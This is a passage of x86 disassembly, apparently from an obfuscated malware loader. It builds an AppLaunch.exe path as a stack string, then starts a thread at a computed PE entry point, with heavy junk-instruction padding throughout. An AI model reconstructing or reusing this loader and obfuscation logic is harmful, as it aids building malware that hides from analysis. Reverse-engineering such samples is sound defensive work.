mov word [ebp - 0x5a], dx
mov eax, 0x54
mov word [ebp - 0x58], ax
mov ecx, 0x5c
mov word [ebp - 0x56], cx
mov edx, 0x46
mov word [ebp - 0x54], dx
mov eax, 0x72
mov word [ebp - 0x52], ax
mov ecx, 0x61
mov word [ebp - 0x50], cx
mov edx, 0x6d
mov word [ebp - 0x4e], dx
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov ecx, 0x77
mov word [ebp - 0x4a], cx
mov edx, 0x6f
mov word [ebp - 0x48], dx
mov eax, 0x72
mov word [ebp - 0x46], ax
mov ecx, 0x6b
mov word [ebp - 0x44], cx
mov edx, 0x5c
mov word [ebp - 0x42], dx
mov eax, 0x76
mov word [ebp - 0x40], ax
mov ecx, 0x34
mov word [ebp - 0x3e], cx
mov edx, 0x2e
mov word [ebp - 0x3c], dx
mov eax, 0x30
mov word [ebp - 0x3a], ax
mov ecx, 0x2e
mov word [ebp - 0x38], cx
mov edx, 0x33
mov word [ebp - 0x36], dx
mov eax, 0x30
mov word [ebp - 0x34], ax
mov ecx, 0x33
mov word [ebp - 0x32], cx
mov edx, 0x31
mov word [ebp - 0x30], dx
mov eax, 0x39
mov word [ebp - 0x2e], ax
mov ecx, 0x5c
mov word [ebp - 0x2c], cx
mov edx, 0x41
mov word [ebp - 0x2a], dx
mov eax, 0x70
mov word [ebp - 0x28], ax
mov ecx, 0x70
mov word [ebp - 0x26], cx
mov edx, 0x4c
mov word [ebp - 0x24], dx
mov eax, 0x61
mov word [ebp - 0x22], ax
mov ecx, 0x75
mov word [ebp - 0x20], cx
mov edx, 0x6e
mov word [ebp - 0x1e], dx
mov eax, 0x63
mov word [ebp - 0x1c], ax
mov ecx, 0x68
mov word [ebp - 0x1a], cx
mov edx, 0x2e
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x78
mov word [ebp - 0x14], cx
mov edx, 0x65
mov word [ebp - 0x12], dx
xor eax, eax
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x90]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xbd], dl
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x409552
push 8
mov ecx, dword [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.00401250
add esp, 0xc
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x88]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xa4]
mov word [ecx], ax
imul ebx
dec edx
inc eax
inc ebx
add edx, 0xf1
imul edi
rcr esi, 0x23
not edx
not edi
or esi, 0x87
not edi
mov eax, 0x71
rcl esi, 0x61
bswap edx
dec edx
imul ebx
not eax
sbb edi, 0x56
inc eax
sbb edi, 0x3f
inc eax
bswap edx
inc edi
ror edi, 0xa1
bswap edx
or edi, 0x77
add edx, 0xf7
bswap edi
rol edi, 0xfa
rcl eax, 0xa5
sub edx, 0xed
bswap esi
rcl ebx, 0xa8
not edi
not edx
and edx, 8
or edi, 0x66
mov ebx, 0x21
bswap esi
inc eax
and ebx, 0xef
sub esi, 0xe6
mov ebx, 0x87
neg esi
neg esi
neg edi
neg eax
imul edx
rcr edi, 0x34
imul esi
dec edx
rol edi, 0x7a
imul ebx
bswap esi
bswap esi
add esi, 0xd
add ebx, 0xf3
ror ebx, 0x22
inc edx
dec eax
not eax
neg ebx
bswap edi
sub edx, 0xb3
inc ebx
rol ebx, 0xf
rol edi, 1
or esi, 0x57
sub esi, 0x47
inc eax
not eax
inc eax
dec edx
bswap esi
sub edx, 0x46
bswap edi
not eax
inc esi
and esi, 0x53
dec esi
rcr eax, 0x26
ror edx, 0
imul eax
rol esi, 0x24
and edi, 0x9a
rcl eax, 0x3a
not eax
rol eax, 0xb5
not edx
and esi, 0x66
neg eax
imul edi
rol esi, 0x2f
inc edx
neg esi
add esi, 0xd0
and edx, 0xbf
not esi
dec edi
not edx
inc edi
dec edx
dec ebx
imul eax
rcr edi, 0x32
imul edx
and edi, 0x82
sub eax, 0x45
rcr edi, 0x59
imul eax
ror edx, 0x37
add edi, 0xad
neg ebx
imul ebx
rcr eax, 0x7f
sbb eax, 0x5f
imul eax
and esi, 0xd1
neg ebx
not edx
and edi, 0x75
inc edi
dec esi
inc esi
sub eax, 0xd
bswap esi
not ebx
mov edx, 0x90
sub esi, 0x14
neg esi
neg edx
sub edi, 0xbf
rcr esi, 0x80
dec ebx
rol edi, 0x5b
or edx, 0x53
rcr edx, 0x4f
dec ebx
sub ebx, 0x2d
sub ebx, 0xec
not ebx
bswap ebx
not esi
bswap esi
not edi
sub esi, 0xc4
rcl edi, 0xaa
and esi, 0xde
bswap edx
rcl edx, 8
push 0
push 0
push 0
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xac], eax
movzx ecx, byte [ebp - 0xbd]
test ecx, ecx
je 0x409733
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00401250
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg edx
sub edi, 0xf5
rol eax, 0x38
rol esi, 0x1d
not esi
inc esi
not edx
bswap edi
bswap edx
or edi, 0xa9
not edi
inc esi
or edx, 0x17
ror edx, 0x73
neg edx
and ebx, 0xc2
or ebx, 0xe8
imul edi
sub edi, 0xa2
rcr edx, 0xa4
neg edi
ror eax, 0xdf
inc edx
bswap esi
rol eax, 0x4b
ror edi, 0xd
dec ebx
inc eax
and eax, 0x91
rcl edi, 0xf4
or eax, 0x12
neg ebx
and edx, 0xaf
imul edx
rol esi, 0xc8
rcr eax, 0xba
and esi, 0x53
neg eax
bswap edi
add ebx, 0xeb
or edx, 0xc0
neg edx
sbb ebx, 0x24
rcl edi, 0x58
and esi, 0x2d
dec edi
rcl eax, 0x90
add eax, 0x20
neg eax
bswap esi
imul esi
or ebx, 0xbe
dec eax
dec esi
bswap ebx
inc esi
imul edx
neg ebx
rol esi, 0xe
not ebx
inc edx
imul ebx
and ebx, 0x18
rcl eax, 0x51
mov esi, 0x6f
and edi, 0x93
add ebx, 0xbf
or edx, 0x6f
sub ebx, 0xce
inc edx
ror ebx, 0xcf
not eax
mov eax, 0xe9
bswap esi
sub eax, 0x60
rcr ebx, 0x54
not eax
imul ebx
rcl edi, 0x3f
neg esi
mov edi, 0xa2
ror eax, 0xf8
inc edi
ror ebx, 0xb4
dec edi
mov edi, 0x6e
not esi
inc esi
not ebx
imul edx
imul ebx
dec esi
bswap edi
rol edx, 0x20
dec esi
or edx, 0xf6
not edx
rol ebx, 0x46
dec edi
rol eax, 0xf6
neg edi
dec ebx
neg esi
bswap edi
rol esi, 0x70
imul esi
rcr ebx, 0x7e
ror eax, 0x7c
dec ebx
or esi, 0xb
imul esi
inc eax
dec eax
ror ebx, 0xac
imul eax
inc edi
bswap eax
rcl eax, 0x4d
rol edi, 3
rcl edx, 0x4c
or edi, 0x72
rcl edx, 0x93
mov eax, 0x9c
bswap esi
dec esi
imul esi
sub esi, 0x1f
sbb edi, 0x6e
rcr ebx, 0x80
ror esi, 0x39
and eax, 4
rol eax, 0x22
and edx, 0x68
not edx
add edi, 0xc7
add edi, 0xee
sub edi, 0x7d
not ebx
and esi, 0xea
rcl edi, 0x54
rcl edi, 0xa2
not edx
or esi, 0x68
rol edx, 0x67
sub eax, 0x87
dec ebx
rcl ebx, 0xb5
bswap eax
bswap edx
rol esi, 0x21
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret